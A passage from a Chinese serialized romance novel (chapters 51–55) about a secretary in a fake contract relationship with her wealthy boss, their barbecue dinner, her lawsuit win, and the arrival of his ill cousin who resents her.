她勾了勾唇角,“咱俩还是维系合作关系吧,我贪财爱钱,您看中我美貌听话,是双赢。” 不知道为什么,听到苏嘉觅这么说,霍砚舟心堵的要命。 他挥掉苏嘉觅贴胶布的手,“我自己来。” 苏嘉觅觑着眼前的男人,那是被她猜中后的气急败坏,她坐回副驾驶,偏头看向苍茫夜色下的霓虹闪耀。 这样一个对待感情的阴谋家,野心家,她怎敢对他动情呢? 若是,她投入他的情感里,伤筋动骨一场怕都是轻的,重则蚀骨灼心,痛不欲生,这种风险,她苏嘉觅受过一次教训,已经不敢冒险了。 回去的路上,霍砚舟油门踩得急,而苏嘉觅则闭眼假寐,两人都没说话的欲望,像是希望早点到家。 到了家,苏嘉觅在玄关处换鞋,看着镜中的自己,她觉得辜负了这一身好看的衣裳,她手绕到脖颈后摘下项链。 她转身递给进门的霍砚舟,“霍总,这个还你。” 霍砚舟盯着在灯光下闪着光的项链,“不是爱钱,怎么不收下?” 苏嘉觅抿唇,“君子爱财取之有道,这是霍总在拍卖会拍的,想要送给喜欢的人的,我不能要。” “不愧是苏秘书,很好!” 霍砚舟接过项链随手揣进了西裤口袋里,他换了鞋,径直坐电梯上了楼。 苏嘉觅则关了一楼的灯才上楼。 黑暗中,她觉得坏情绪左右了她,她得振奋,得有斗志,她哼着歌推开了自己卧室的门。 楼上,站在门口的霍砚舟紧紧地攥着手,他冷嗤,“苏小二,你没有心。” 说完,他摔门进了屋。 苏嘉觅仰躺在床上听到楼上震天响的关门声,她叹了口气,“又抽风了!” 接下里的几天,苏嘉觅对待霍砚舟愈发的小心翼翼,而他似乎也有别的事情忙,让黎骋跑了几个地方出差。 黎骋每次回来似乎都没给霍砚舟带回好消息,他的雷霆怒火就发到了整个秘书办。 秘书办的游岚跑过来跟苏嘉觅诉苦,她将订的奶茶波波放在苏嘉觅的手边。 “嘉觅姐,你最近和霍总是不是不太和谐啊?” 苏嘉觅成功喝呛了,她轻咳,“和谐,哪不和谐了?” “既然和谐,霍总最近火气怎么这么大啊?” 游岚哭丧着脸,“我们都快被霍总的怒火吓破胆了,每天上班的心情比上坟都沉重,人家说月薪3万,公司的甲醛都让我着迷。可我不着迷上坟啊!” 苏嘉觅被逗笑了。 游岚挑眉,“晚上你殷勤点,多搞霍总两次,让他明天迟到或者晚来,纾解后,心情一定就好了。哎,姐,你俩备孕了吗?” 看着思维跳跃到外太空的游岚,她冷嗤,“你别叫游岚了,就游荡算了,满脑子淫荡想法。” 门外,霍砚舟拎着文件想进门,却在听到两人的对话后,勾唇笑了笑。 他最近让黎骋到其他城市寻找合适的人为霍云杳配型,可一直没找到,而苏嘉觅最近对他格外冷淡,他又觉得心烦。 两件事叠加在一起,让他的情绪管理有些差,总忍不住发火。 霍砚舟想到这,推门进去,正好听到游岚在那跟苏嘉觅介绍黄色废料的使用得当让男人快乐加倍的妙法。 他耳尖漾着薄粉,“聊什么呢?这么开心。” 游岚的话头戛然而止,苏嘉觅则站了起来,“霍总,您找我?” 霍砚舟走了过来,将文件递给苏嘉觅,“改一下。” 他冲游岚挑眉,示意她赶紧走。 游岚笑容尴尬,她转身就走了,还关好了门。 室内只剩下霍砚舟和苏嘉觅两人。 苏嘉觅不自在地翻着文件,她一目十行,“霍总要改哪里?” 霍砚舟走了过来,声音哑得不成样子,“苏秘书上班时间和别人探讨你我的闺房之乐,合适吗?” “她...她们觉得您最近总发火是因为..” 苏嘉觅觉得没必要因游岚的错误惩罚自己,她往后退了一步,“因为那方面没得到满足,主要是她们不知道咱俩假的。” “假的就可以肆无忌惮地取笑我?” 霍砚舟又往前迫了一步。 苏嘉觅往后退,却被霍砚舟大手扶住了腰。 他喉咙里溢出笑声,“既然你有错在先,晚上要请我吃饭。” “啊?汪阿姨会给我们做晚餐的。” 苏嘉觅不是怕出去吃饭,是怕又与霍砚舟闹不愉快影响她的合约履行。 “之前不是你说请我吃烧烤的?” 霍砚舟觑了眼窗外,“夏天过去前,起码得请我吃顿烧烤吧!” 苏嘉觅哑口无言,她之前确实答应过。 下午,黎骋又出差走了,倒是霍砚舟早早下班过来找苏嘉觅。 他一身休闲,叮嘱她,“记得穿舒服的鞋子。” 两个人一身休闲打扮的出门,可让游岚高兴坏了,她嚷嚷,“为了平息霍总的怒火,苏秘书将霍总哄走了!” 秘书办之前蛐蛐苏嘉觅的人接受现实后也渐渐发现了她的好,不再针锋相对,倒是挺喜欢她利落,不做作的样子。 “明天我给苏秘书定奶茶。” “我订蛋糕!” 游岚笑着说,“要少糖的,苏秘书怕胖。” 另一边,江城协盛医院病房内,霍云杳捏着手机看向她妈妈阮倾。 “妈,我想去京城治疗,让砚舟哥陪着我。” “别胡闹了,乔映紫要是知道了,不得恨死你我?” 阮倾伸手捋了一下霍云杳的假发,“霍家内院是她说了算,外边是她和你大伯说了算,你爸爸根本插不上嘴。” “可是砚舟哥最近都没给我打电话了,还有我问了黎骋,他正在寻找其他的供体。” 霍云杳攥紧了被子,“我总觉得砚舟哥对苏嘉觅不忍心了,他会不会喜欢上她了?” 阮倾安慰霍云杳,“不会的,你和砚舟一同长大,有青梅竹马的情意。” 霍云杳勾了勾唇,“所以,我要去京城陪着他。至于大伯母那边,您不用担心,我有办法让砚舟哥来接我,她总不能迁怒自己的儿子吧?” 另一边,苏嘉觅拿着菜单笑眯眯地说,“老板,来十串羊腰,十串羊蛋。” 霍砚舟用筷子拨弄着水煮毛豆,“苏秘书,你这是要给我补补?” 第51章 苏秘书,别乱性! 霍砚舟笑容带着几分狡黠,明艳的目光让人如沐春风,他略带邪恶的调侃不让人生厌,反而觉得他痞坏。 而苏嘉觅知道他主动提出让她请他吃饭是他自己找台阶下,想与她缓和关系。 想到这,她挑眉又问,“要不要再来两板烤韭菜?” 霍砚舟捏着酒杯的手微微顿住,耳尖泛红,“一板吧,我怕明早流鼻血。” 本是矜贵自持的人却自嘲调侃,逗笑了苏嘉觅。 她点好餐拿给霍砚舟看,他却摆手,“苏秘书,做主就好。” 别的做不了主,一餐饭,她倒是能做主了! 苏嘉觅跟服务员说:“所有的串串都少辣,再有就是把啤酒换成鲜生啤。” 霍砚舟觑向酒杯,“那我喝的是什么?” 服务员笑眯眯地说,“我们店免费啤酒。” 工业啤酒呗? 怪不得口味不好,霍砚舟觉得让爱钱的苏嘉觅请客实属不易,硬是没说什么,他抿紧嘴唇,“当水喝,还凑合。” 苏嘉觅低垂眉眼忍笑,心想这个傲娇男人嘴硬的时候挺可爱的。 不多时,油焖大虾和蒜蓉小龙虾上了桌。 霍砚舟挠了挠眉尾,他低声说,“这东西含铅量大,有寄生虫,不卫生。” 苏嘉觅戴着手套给霍砚舟剥了一只虾肉放在碗里,“霍总说的那是卫生条件差水里长的小龙虾。这都是养殖的,很干净!” 霍砚舟看着店门口的招牌“生态水域养殖龙虾健康美味”,他夹起虾肉放在口中,咀嚼间鲜香可口,很好吃。 苏嘉觅观察“大少爷”霍砚舟的表情,知道他喜欢。 谁又能拒绝得了小龙虾的诱惑呢? 苏嘉觅拿过一次性手套,撕了,打开,撑起手套薄膜,“我给霍总戴上?” 霍砚舟盯着苏嘉觅的动作,看着跟套套包装所差无几的一次性手套外包装,联想到苏嘉觅的话。 他耳尖的红晕蔓延下来,他轻咳,“苏秘书,你这样我真会认为你在暗示我别的。” 苏嘉觅顿了顿,她扫了一眼桌子上的小包装袋和虾壳。 她叹了口气,“霍总,咱不行去医院看看吧,咋那么多的黄色废料在你脑中晃呢?” 霍砚舟看着促狭的苏嘉觅抱怨他“黄”,他伸手过去,“戴上吧,我还不是跟你学坏了。” 苏嘉觅将手套塞他手里,白了他一眼。 霍砚舟却不以为然,“你一而再,再而三地调戏我,我很难不多想。” “自恋狂!” 苏嘉觅夹了很多只龙虾放在霍砚舟碗里,“霍总快用,堵嘴。” 霍砚舟抿唇浅笑,自顾自地吃小龙虾。 他剥好了一只,“过来,还你的。” 真幼稚,可苏嘉觅正在吃刚上来的烤鸡翅,没戴手套,她伸头过去,让霍砚舟喂到了嘴里。 苏嘉觅点头,“好吃。” 霍砚舟眨着黑亮的眼眸,他似笑非笑地说,“苏秘书,不生我气了吧?” 苏嘉觅心头一颤。 原来,两个人闹别扭都是有感应的,她最近因为霍砚舟的低气压确实盛闷气,她以为他不知道,原来他懂。 “我没生气呀!” 苏嘉觅莞尔一笑,“霍总是我老板,老板情绪不好,是我和黎骋没给足您情绪价值,您没错。” “扯黎骋做什么?” 霍砚舟垂眸,轻咳了两声,“我最近因为家人的事情很焦虑,跟你没关系。别瞎想!” 苏嘉觅怔忪,霍砚舟是在跟他解释他不高兴的原因? 霍砚舟盯着苏嘉觅看了几秒,就开始四处看。 他起身,“啤酒怎么还没上?我去催催!” 看着霍砚舟挺括的背影去找服务员,苏嘉觅没绷住,勾唇笑了。 等霍砚舟再回来,啤酒、烤串都上齐了。 苏嘉觅倒满一杯啤酒敬霍砚舟,“希望霍总家人的烦心事早日解决,让霍总每天都有个好心情。” 霍砚舟的笑容僵在脸上,他顿了顿,与苏嘉觅碰杯将酒干杯了,沁凉Chung厚的感觉让他觉得很舒服。 这顿烧烤与他一起吃饭的人让他觉得很舒服,很惬意。 饭吃到一半,霍砚舟看苏嘉觅有点晃神,“吃不下了?” 苏嘉觅摇头,她喝了一大口啤酒,“我想到我小时候做完作业去外边捡塑料瓶子贴补家用,当时看着饭店里带着孩子一起出来吃饭的家长,我就很羡慕那些小孩。” 霍砚舟回身,才知道苏嘉觅再看不远处给孩子过生日的一家人。 那男孩应该是大学生,喝着酒,敬父母和长辈,苏嘉觅竟然羡慕这些,可见她没有过这样的相聚,被呵护。 “你养父母对你不好?没给你过过生日?” 霍砚舟沉声问。 苏嘉觅摇头,“我是被孤儿院的院长收养的,她和她丈夫人到中年没孩子,希望我能招个弟弟给他们,别说还挺灵验,我到他们家第二年,她就怀孕了,真生了弟弟。” 她叹了口气,“人家有了自己的孩子,谁会对养女上心呢?” 霍砚舟心里不是滋味,他从小被捧着长大,很难对苏嘉觅的处境感同身受,可他此刻是心疼她的。 苏嘉觅长舒了一口气,“‘嘉觅’是我上学时的班主任给取的,我以前叫苏带娣,带来个弟弟。” 霍砚舟见苏嘉觅红了眼眶,他坐了过去,握住她的肩膀,“可我的苏秘书马上就要成亿万富婆了,让他们望尘莫及。” 他知道苏嘉觅不联系养父母一家不是忘恩负义,是他们一定给了苏嘉觅很大的伤害。 苏嘉觅偏过头,擦了擦眼泪。 “霍总,再走一个?” 她端着酒杯,霍砚舟捞过自己的酒杯与她的相碰,“最后一个,吃完,我们该走了!” 霍砚舟趁着苏嘉觅剥小龙虾的时候,起身去付了钱。 酒足饭饱,苏嘉觅去买单,却被告知她男友已经付过了,老板娘笑眯眯的,“以后常带着你男友来吃饭哈,他长得那么好看,把我们这的格调都拉上去了。” 苏嘉觅透过烤串的烟气缭绕,看向坐在白色天幕下的霍砚舟,他闲适慵懒的模样依旧难掩英挺帅气。 她勾勾唇,没说什么。 霍砚舟和苏嘉觅都喝了酒,找代驾,代驾一看是豪车给拒了。 最后,是公司司机过来接的两人。 看着两人一前一后上了宾利车离去。 烧烤店的老板娘咋舌,“妈呀,有钱人也来咱们这吃饭啊?我这店八成要火呀!” 车内,苏嘉觅靠着霍砚舟的肩膀有些昏沉,“鲜生啤还是有些酒劲的,哈?” 霍砚舟低笑,“嗯!” 他抵在她耳边,“苏秘书不要酒后乱性为好。” 第52章 霍云杳来京小住 苏嘉觅抬眸见霍砚舟嘴角噙笑地望着她,她伸手拍了拍他的脸,仗着酒劲儿回怼,“别闹,你不是不行吗?” 开车的司机瞬间坐直了身子,脑袋都不敢动,目视前方。 霍砚舟脸瞬间阴沉下来,他咬牙切齿地问,“要不你试试再说?” 苏嘉觅打了个哈欠,“不想试,怕违约。” 两人的合约里明确规定了——任何一方不能与对方发生关系,避免情感接触。 霍砚舟气闷,他拖着苏嘉觅的脑袋将人推到另一边,不想让她再靠着了。 苏嘉觅偷偷笑,狗男人想占她身子,门都没有。 因此一顿烧烤,两人的别扭解除了,就连霍砚舟的火爆脾气都在公司有所收敛,秘书办的天放晴了。 苏嘉觅收到了秘书办很多的小礼物,都是表示感谢的。 有奶茶、巧克力还有手工饼干,都是小东西,却满是谢意。 三个月前,她刚来的时候,秘书办的人恨不得用唾沫淹死她,现在,她们不仅接受了她还讨好她,感激她。 苏嘉觅吸了一口奶茶,“啧,善变的女人们啊!” 黎骋风尘仆仆地赶了回来,他见苏嘉觅都带着笑,“苏秘书,几天不见,想我没?” 苏嘉觅毫不犹豫地摇头,“不想,耳根子清静了几天了,我挺高兴的。” 黎骋伸手点了点苏嘉觅,“没良心的,我这外边跑,说到底也是为你。” “为了我?” 苏嘉觅不解。 黎骋却收敛的笑容,转了话题,“你与冷家的诉讼大后天开庭?” 苏嘉觅颔首,“对,我不用出庭。” 霍砚舟清冷的声音从办公室里传出来,“黎骋,滚进来!” 苏嘉觅浅笑,“霍总让你进去呢!” 黎骋因为办成了事,一点都不慌,他正了正领导,趾高气扬地拉门进去了。 苏嘉觅握着奶茶杯,往后走,“为了我?黎骋这是在哪吃错药了!” 办公室内,霍砚舟他放下手机,眉宇微沉,“你回来不向我汇报情况,在外边跟苏嘉觅胡说什么?” “霍总,我找到了合适的供给人了!” 黎骋边走边拿资料。 压在霍砚舟心上的石头也搬开了,“太好了,真是太好了!” 霍云杳刚打电话过来说是要到京城治疗,霍砚舟不同意,眼下找到了新的供给人,配型成功后,她就可以在江城接受手术了。 “霍总,这人是京大的学生,她只有既个要求,在京城做干细胞移植手术。另外,除了报酬,她还要求毕业后到我们公司工作。” 霍砚舟听此,沉吟片刻,“没问题。” 他觉得一切都是安排好的,“杳杳也想到这边治疗,既然捐赠也是这个要求,你来安排杳杳的转院吧!” 黎骋颔首,又问,“杳杳小姐要是过来了,二夫人一定也陪着过来,他们住在哪啊?” 霍砚舟的目光从资料里抽离,他看向黎骋。 黎骋往外边看一眼,又说,“杳杳小姐一定不想跟苏小姐同住。可风情雅苑,您之前又答应送杳杳小姐的,现下又送给了苏小姐。” 风情雅苑是霍砚舟送给霍云杳的二十二岁的生日礼物,她很喜欢,装修好后,软装还未进行,她就病了。 之前,她总说要陪着霍砚舟来京城闯荡,现下,他在京城站稳了脚,有了自己的事业,可她却缠绵病榻快一年了。 霍砚舟沉吟片刻,“我在京城三环有一套四合院,你收拾出来给杳杳和二婶住。” 黎骋点头,“好,那离医院也近,再说了杳杳小姐多数时间都在医院里。” “这段时间,辛苦你了,早点回去休息。” 霍砚舟眉眼带笑,准黎骋半天假,让他回去休息。 因为霍云杳的事情有了好结果,霍砚舟心情很好,他看向苏嘉觅办公室的方向,他也不必因此事再愧对苏嘉觅了。 他起身去找苏嘉觅。 苏嘉觅刚和顾煜律师通过电话,见霍砚舟过来,她笑着说,“霍总,顾律师说冷家那边的律师听说是他应诉,又开始搜集所谓的证据了,说明他们露怯了。” “明天的官司,你一定赢。” 霍砚舟笑着说,“赢了,我们要庆祝一下。” 苏嘉觅笑着应允,“能不能叫上顾律师、许哥还有许瑶,傅秘书啊?” 霍砚舟挠了挠眉尾,“许璴有必要叫吗?他又没帮上什么忙!” “他是许瑶的哥哥,顾律师的哥们儿,得叫,”苏嘉觅觉得霍砚舟又小气了,“我上大学那会儿,许哥很照顾我,许瑶有的,他都给我多备一份。” 霍砚舟被苏嘉觅的“照顾”说法气笑了,“你确定他的照顾不是另有目的?” 他喉咙里溢出冷笑,“许璴喜欢你,对吧?” “我那时候有男朋友,”苏嘉觅不自在地解释,“再说了,我配不上他。” 苏嘉觅觉得她配不上许璴? 霍砚舟觉得这话听得极其不顺耳,他面色沉了几分,“你觉得你配得上什么样的?” 苏嘉觅边整理文件边说,“呃,目前嘛,经济适用男。以后嘛,等我从霍总那拿到两个亿,可以去找个爱我的又上进的小学弟。” 霍砚舟神色冷峻,薄唇抿成一条直线,黑眸中酝酿着有几分危险的风暴,“呵,扶持学弟?” 他闷声,“你还没从陆北身上吸取教训?” 霍砚舟气闷转身,捏着门把手的手背青筋绷起,“苏秘书,贤妻扶我青云志,上岸先斩意中人,听过吗?” 门拉开,他沉声幽幽,“你要找与你势均力敌,真心相待的。” 咣当一声,人走了,门摔上了。 苏嘉觅怔忪地盯着关上的门,嘟囔道,“这又是哪不顺心眼子了,又发疯?” 霍砚舟回到办公室焚了一支烟,回想他方才与苏嘉觅说的话,他皱眉,“跟我有什么关系,我说那么多话?” 三天后,律师顾煜帮苏嘉觅打赢了官司,法院还判冷家登报向苏嘉觅道歉,至于之前的冷媛主导的找人欺负苏嘉觅的案子,因无确凿证据,责令公安机关补齐证据,择日重审。 苏嘉觅很高兴,按照之前定的,请顾律师和许璴、许瑶等人庆祝,地点定在了许璴的会所。 苏嘉觅格外在一家米其林三星的甜品店定了甜品,打算带过去吃。 她敲开霍砚舟办公室的门,“霍总,晚上聚餐地点定了,我先去取甜品,再过来接你一道过去?” 霍砚舟匆匆穿上西服外套,“我要到机场接个人,晚点联系你。” 他扫了一眼表,“你开我跑车去拿东西。” 苏嘉觅试探地问,“是您家里来人了吗?” 霍砚舟眉心一紧,沉声,“嗯!” 他拿过桌上的手机,疾步从苏嘉觅身边走过,没看她一眼。 苏嘉觅回身看向霍砚舟的背影,他似乎又变成了从前那个冷漠不近人情的霍砚舟...... 第53章 霍总的堂妹来了 许璴的会所里,一众人吃着苏嘉觅带来的蛋糕,还有许瑶点的麻辣小龙虾、蒜蓉虾还有水煮毛豆、盐水花生还有各式烤串。 苏嘉觅扫了一眼包厢门,迟迟没有等到推门而入的霍砚舟。 许瑶递了一串烧烤给苏嘉觅,“觅觅,你怎么了?顾律师因为最近累,不在状态,你怎么了?” 苏嘉觅接过烤串,看向帮她打赢官司的顾煜在进了包厢后就变得很拘谨。 她摇头,挖了一块蛋糕,“我没事儿,我前两天刚吃一顿烧烤,有点吃不下。” 傅珩独坐沙发一角,微微闭眼安慰焦躁不安的顾煜,他捏着杯子敬许璴和顾煜,“徐总,顾律师,我敬二位。” 顾煜哪里想到恒瑞律所的创始合伙人傅珩竟然会跑到许璴妹妹的小公司当秘书? 许璴喝了酒,拎着酒杯过来,拍了拍傅珩的腿,“傅秘书,多亏是你在我妹身边,上次她领着觅觅到这来胡闹,要不是你告诉我妈,我都不知道她还敢点男公关?” 傅珩抿唇,低声说,“许总,别让我们许总知道是我告的秘。” 许璴拍了拍傅珩的大腿,“不能够,你喝着,我去看看觅觅。感觉她的狗老板没来,她兴致不高呢?” 说话间,他起身坐到苏嘉觅那边去了。 傅珩捏着杯子,抿了一口酒,幽深的目光看向了苏嘉觅,而后拿出手机给霍砚舟发了条微信。 可霍砚舟没回。 一众人,玩闹到晚上11点才散场。 苏嘉觅喝了一点小酒,是没喝酒的顾煜律师开车将她送回来的。 霍砚舟的跑车,一般代驾不会开,顾煜将车停在停车场,看了一眼霍砚舟的庄园别墅,突然替许璴捏把汗。 他猜想见识过霍砚舟财力与品貌的女人轻易看不上别的男人了,许璴没戏! “谢谢你顾律师。” 顾煜耸肩,笑得温和,“小事情,你快进去吧!” 苏嘉觅点头,扫了一眼别墅内,灯亮着。 她拎着包进门,客厅灯光大亮,她余光看到霍砚舟在,她嗔怪,“你怎么没去找我呢?” 霍砚舟看到苏嘉觅回来了,他起身过来。 一个柔柔的女声传了过来,“三哥,这位就是苏小姐?” 苏嘉觅抬眸看向房间里,她才惊觉家里不止霍砚舟还有别人,她微微颔首,“你好。” 霍砚舟轻咳了一声,“这是我堂妹,霍云杳。” 苏嘉觅看向对面的女人,她脸色惨白,却难掩风姿,是个娇俏的美人,而且她的鼻尖也有一枚黑痣。 她下意识地摸了一下自己的鼻尖。 霍砚舟看到苏嘉觅的动作,眸中闪过丝丝慌乱,“杳杳是来治病的,她暂时住在这。” 苏嘉觅点头。 她心想老板的堂妹来了,老板尽地主之谊,她也得配合。 “霍小姐,家里有阿姨,您把你的早餐、午餐和晚餐口味告诉我,我让汪阿姨准备。” 霍云杳眼睛蒙着一层水雾,“三哥知道我的口味。” 苏嘉觅一怔,她忽而觉得自己说这话有点没分寸了。 霍砚舟抿唇,他探身过来,“晚上玩得开心吗?” “嗯,”苏嘉觅莞尔一笑,“霍总在这件事上也帮了我不少忙,下次请你吃饭。” 霍砚舟唇角绷成一条直线,不知道为什么他在看到苏嘉觅回来后心里不舒服,说不清道不明的感觉。 他见她喝了酒后的脸颊染着粉红,“汪阿姨给你煮了醒酒汤,在厨房。” 汪阿姨不知道苏嘉觅去喝酒了,显然是霍砚舟让她准备的。 苏嘉觅点头,“好,霍总去陪你堂妹吧!” 霍砚舟见苏嘉觅去了厨房,他转身见霍云杳眼睛水汪,包着眼泪,他按了按眉心,“杳杳,你要懂事一点。” 霍云杳顿住了。 她没想到霍砚舟竟然要她“懂事”,其实就是在变相地警告她不要把不该说的话与苏嘉觅说。 霍砚舟觉得自己语气重了些,他微抬下颌,“我送你回去休息,明天要去医院检查。” 霍云杳点头。 她起身看向厨房。 厨房内,苏嘉觅端着醒酒汤看到垃圾桶里有霍砚舟今天早上让花店送来的芍药花,自那日又吻了她,得知她喜欢花。 霍砚舟让花店每天都送花过来,应着季节和花期,昨天送来的百合,因为芍药花期快过了,今天有芍药送来,霍砚舟还挺高兴, 只是摆在她房间里的花,怎么这会儿躺在垃圾桶里? 霍砚舟拿着水杯来倒水,看到苏嘉觅看着垃圾桶的花出神,他歉疚地说,“杳杳花粉过敏,她的病很敏感,所以我让汪阿姨把家里的花都丢了。” “哦,这样啊!” 苏嘉觅捋了下头发,放下碗往回走。 霍砚舟觉得苏嘉觅生气了,他扯住她的手腕,“等到杳杳走了,我把欠你的花都补回来!” 苏嘉觅有些失落而已,但她自知自己这个“搭子”在霍砚舟心里的地位绝对没有他的堂妹高,况且他堂妹是病人,她没有理由和立场要求自己的老板照顾她的喜好。 她拨开霍砚舟的手,“霍总,这房子都是你的,你堂妹是你至亲,你理应照顾好她,你不用迁就我。” 霍砚舟收回手,他闷声,“好。” 苏嘉觅上了楼。 她看到里面那间客卧的门敞着,灯亮着,想来霍云杳住在那间客房。 苏嘉觅进了房间,开灯边看到小角几上的水晶花瓶空了,她无奈地笑笑,听到门外霍砚舟的脚步声,他去了霍云杳的房间,清朗磁性的声音,“杳杳,该吃药了。” 苏嘉觅听此,心头一颤,她没想到清冷不近人情的霍砚舟对他的堂妹竟然这么细致体贴。 她去洗漱后就上床睡了。 霍云杳的房间内,霍砚舟把黎骋买的小夜灯插在了床头,按亮。 他心里不是滋味,被拐后被关在小黑屋里的他和霍云杳都落下了夜里怕黑的毛病,要开着夜灯才睡得着。 霍云杳看着造型是熊猫的小夜灯,“骋哥的品位还这么独特。” 霍砚舟笑笑,“二婶怎么没跟你一道过来?” 霍云杳垂眸,眼中满是难过,“爸爸病了,离不开我妈的照顾,再说小五今年中考,我也不想太拖累她。” “嗯,我会照顾好你的,你安心治疗。” 霍砚舟轻咳了一声又说,“杳杳,苏嘉觅是一个很好的女人,我不想伤害她。所以,有些事,你要三缄其口。” 他不是话多的人,却在今天第三次提醒她不要与苏嘉觅瞎说话。 霍云杳被子里的手攥紧,“我知道,既然我有了新的捐赠人,三哥什么时候让她离开呢?” 霍砚舟黑曜石般的眼睛暗了暗,“我自由安排,你不要插手。” 霍云杳点头,抽过书递给霍砚舟,“三哥,再给我读一章。” 霍砚舟接过书,翻开,接着上次在医院读到的位置继续读。 夜里,霍砚舟从霍云杳的房间出来,路过苏嘉觅的房间,他伸手去敲门.... 第54章 我喜欢你的房间,让给我? 霍砚舟没想好如何与苏嘉觅说合约到此为止,但他愿意支付相应报酬的事情,他内心深处甚至不想说这件事。 他蜷起来的手没落到门板上,他攥紧又放下。 霍砚舟在苏嘉觅的门口站了一会儿就上了楼。 听着动静的霍云杳心沉了底,她以为霍砚舟会去找苏嘉觅摊牌,可他犹豫了那么久还是没去说。 霍云杳撑起身子,满眼的幽愤,在看到泛着幽暗柔和灯光的小夜灯的时候,她的愤怒登顶,光亮让她心烦,让她无法安眠。 她撑着身子过去关上了小夜灯。 第二天,苏嘉觅早早起床收拾好后,下楼帮汪阿姨做早餐。 “汪阿姨,我自己煮个鸡蛋,打两片面包就行了,你不用做我那份。” 苏嘉觅觉得霍云杳是病人对餐食要求高,她就不想再麻烦汪阿姨兼顾她的早餐了。 包小馄饨的汪阿姨感激地看向苏嘉觅,“太太,你可真好。我觉得你的小姑子挺难伺候的,说是馄饨不能太大,一口一个,还要有整颗虾仁。” 她摊着不大的面皮说,“又要加玉米粒和猪肉馅,这不难为人吗?” 苏嘉觅拿过刀,将虾仁从脊背一分为二,“那就放这样半边,也是整颗的虾。” 汪阿姨觉得苏嘉觅聪明又善解人意,她笑着应承。 “苏小姐,你什么时候嫁给我三哥了,成了他的太太?” 霍云杳穿着睡衣,戴着齐耳的假发,目光幽幽地盯着苏嘉觅。 她手里握着杯子,是下来倒水的。 苏嘉觅望向懵了的汪阿姨,她缓声,“我没嫁给你三哥,至于汪阿姨的称呼...” “是我三哥给你体面,不想让阿姨知道你是他养的女人,对吗?” 霍云杳刻薄的语言让苏嘉觅心里很不舒服,而汪阿姨脸上一阵青白。 苏嘉觅挑眉瞪了霍云杳一眼,她勾唇,“霍小姐,养女人是指已婚男士在外包养情人,你三哥未婚,我未嫁,我经济独立,我俩住一起顶多算同居。” 她勾唇,“所以,我实在担不起你三哥养的女人这个名号。” 霍云杳没想到苏嘉觅是牙尖嘴利的个性,她咬着嘴唇,“你不会以为你会成为我三嫂吧?” 苏嘉觅摇头,“我没这个妄想。只是,就算是分开,也是你三哥跟我说,轮不到你一个堂妹插手!” “你...” 霍云杳捂着胸口,胸脯剧烈起伏着。 霍砚舟下来,看到霍云杳站在门口与苏嘉像是闹了不愉快,他疾步过去,“杳杳,怎么了?” 霍云杳眼睛噙泪,“苏小姐让阿姨叫她太太,还说我难伺候,我就是想吃鲜虾馄钝而已,我就难伺候了?” 霍砚舟眉目阴沉了几分,他觑向苏嘉觅,她亦是满脸冰霜。 “杳杳,称呼苏嘉觅为太太,是我允许汪阿姨的,”霍砚舟垂眸,“至于馄钝,汪阿姨,你包不了?” “能,我能,我正在包!” 汪阿姨歉意地看向苏嘉觅,“霍小姐不要因为这点小事跟太...苏小姐吵架,都是我的问题,我想到解决办法了。” 解决办法? 霍砚舟看向砧板,上面有破了的馄钝,还有剖半的虾仁。 苏嘉觅拉住汪阿姨的手,“别说了,做事吧!” 霍砚舟扶了霍云杳一把,“你要喝水,我来到,你到楼上躺着吧,饭好了,我叫你。” 他拿过霍云杳手中的杯子,示意霍云杳上楼。 这时,多士炉“叮”的一声,两片面包烤好了,弹了出来。 霍砚舟,“你早上吃这个?” 苏嘉觅敛眉垂眸,“嗯。” 她看向霍砚舟,“一口一个还要有完整虾仁的玉米肉馅馄钝,我吃不起。” 说完,苏嘉觅端着餐盘进了餐厅吃早餐。 霍砚舟目光落在砧板上,与他猜测的一致,他十分有涵养地宽慰汪阿姨,“汪阿姨,杳杳得病后心思敏感,她的话,你别放心上。” 他又说,“照顾病人辛苦,每个月我给你加两万的薪水。” 霍砚舟的话,让汪阿姨眉开眼笑。 苏嘉觅抿了抿嘴唇,她觉得“识时务者为俊杰”这句话真是至理名言。 汪阿姨作为霍砚舟请的保姆,伺候好霍砚舟和他堂妹是履行本职工作,干好了有加薪,而她这个“假情人”就更不应该与霍云杳起冲突,她的目标是赚到合约里的两个亿。 要不是刚才霍云杳出言不逊,她不可能与霍云杳起冲突。毕竟,金主的堂妹也是小金主。 霍砚舟捏着水杯过来,见苏嘉觅咬着面包若有所思的样子。 他轻咳两声,“苏秘书,杳杳她...” “我明白,她是霍总的堂妹,是至亲,刚才是我失了分寸,不会再有下次了,”苏嘉觅垂眸,“霍总与我相处以来,应该知道我是一个有自知之明的人。” 苏嘉觅再抬眼,目光清明一片,“我不会假戏真做,也不会不清楚自己的斤两,与您的堂妹争什么。” “毕竟,假的就是假的,真不了!” 苏嘉觅说完,抽过纸抽里的纸巾擦了擦嘴。 “霍总要陪霍小姐去医院,我先去公司了。” 她收拾了碗盘,从霍砚舟身边经过去了厨房。 霍砚舟下颌绷紧,捏着水杯的手青筋绷紧,他嘴角自嘲地笑笑,方才想说的安抚苏嘉觅的话悉数咽了下去。 因为他发现苏嘉觅比她还要理智,还要目的明确。 他冷声迎合苏嘉觅的话,“不错,苏秘书很有自知之明。” 苏嘉觅放盘子入洗碗机的手顿了一下,将碗放进了洗碗机里,嘴角勾出淡笑。 霍砚舟站在那等苏嘉觅反驳,可她一句话都没有。 他提步上楼了,胸中闷着一口气,上不去,下不来。 苏嘉觅独自去了公司。 霍砚舟则陪霍云杳去了医院。 苏嘉觅以为下午霍砚舟会回公司上班,因为有几个重要的合同要批示,可直到下班,霍砚舟都没来公司。 她将文件拿给了副总批示,黎骋却截住了她。 “这些文件,霍总在医院已经批示过了。” 苏嘉觅觑了几眼手里的文件,“既然这样,我下发各部门。霍总之前也这样批文件?” “嗯,霍总陪杳杳小姐的时候多,但不会耽误工作!” 黎骋一句话,让苏嘉觅知道霍云杳在霍砚舟心中分量极重,她想顺利履行合约就得恭敬霍云杳。 晚上回到家,霍砚舟出去给霍云杳买京味轩的烤鸭了。 霍云杳坐在沙发上,她语气很轻却不善,“三哥说我那个客房采光不好,我很喜欢苏小姐的房间,可否让给我呢?” 第55章 搬离霍砚舟的住所 苏嘉觅见汪阿姨端着凉菜拼盘出来,听到这,又折返回去。 她垂眸,“霍砚舟是这个房子的主人,他要我搬,我当然会搬。” 玄关处,苏嘉觅刚刚换了拖鞋。 彼时,霍砚舟开门进来,见苏嘉觅站在门口,他手里还拎着苏嘉觅喜欢吃的那家烤串和小龙虾。 他拧眉,“怎么在这站着?” 苏嘉觅转头看向霍砚舟,“霍云杳小姐想搬到的房间去住,霍总的意思?” 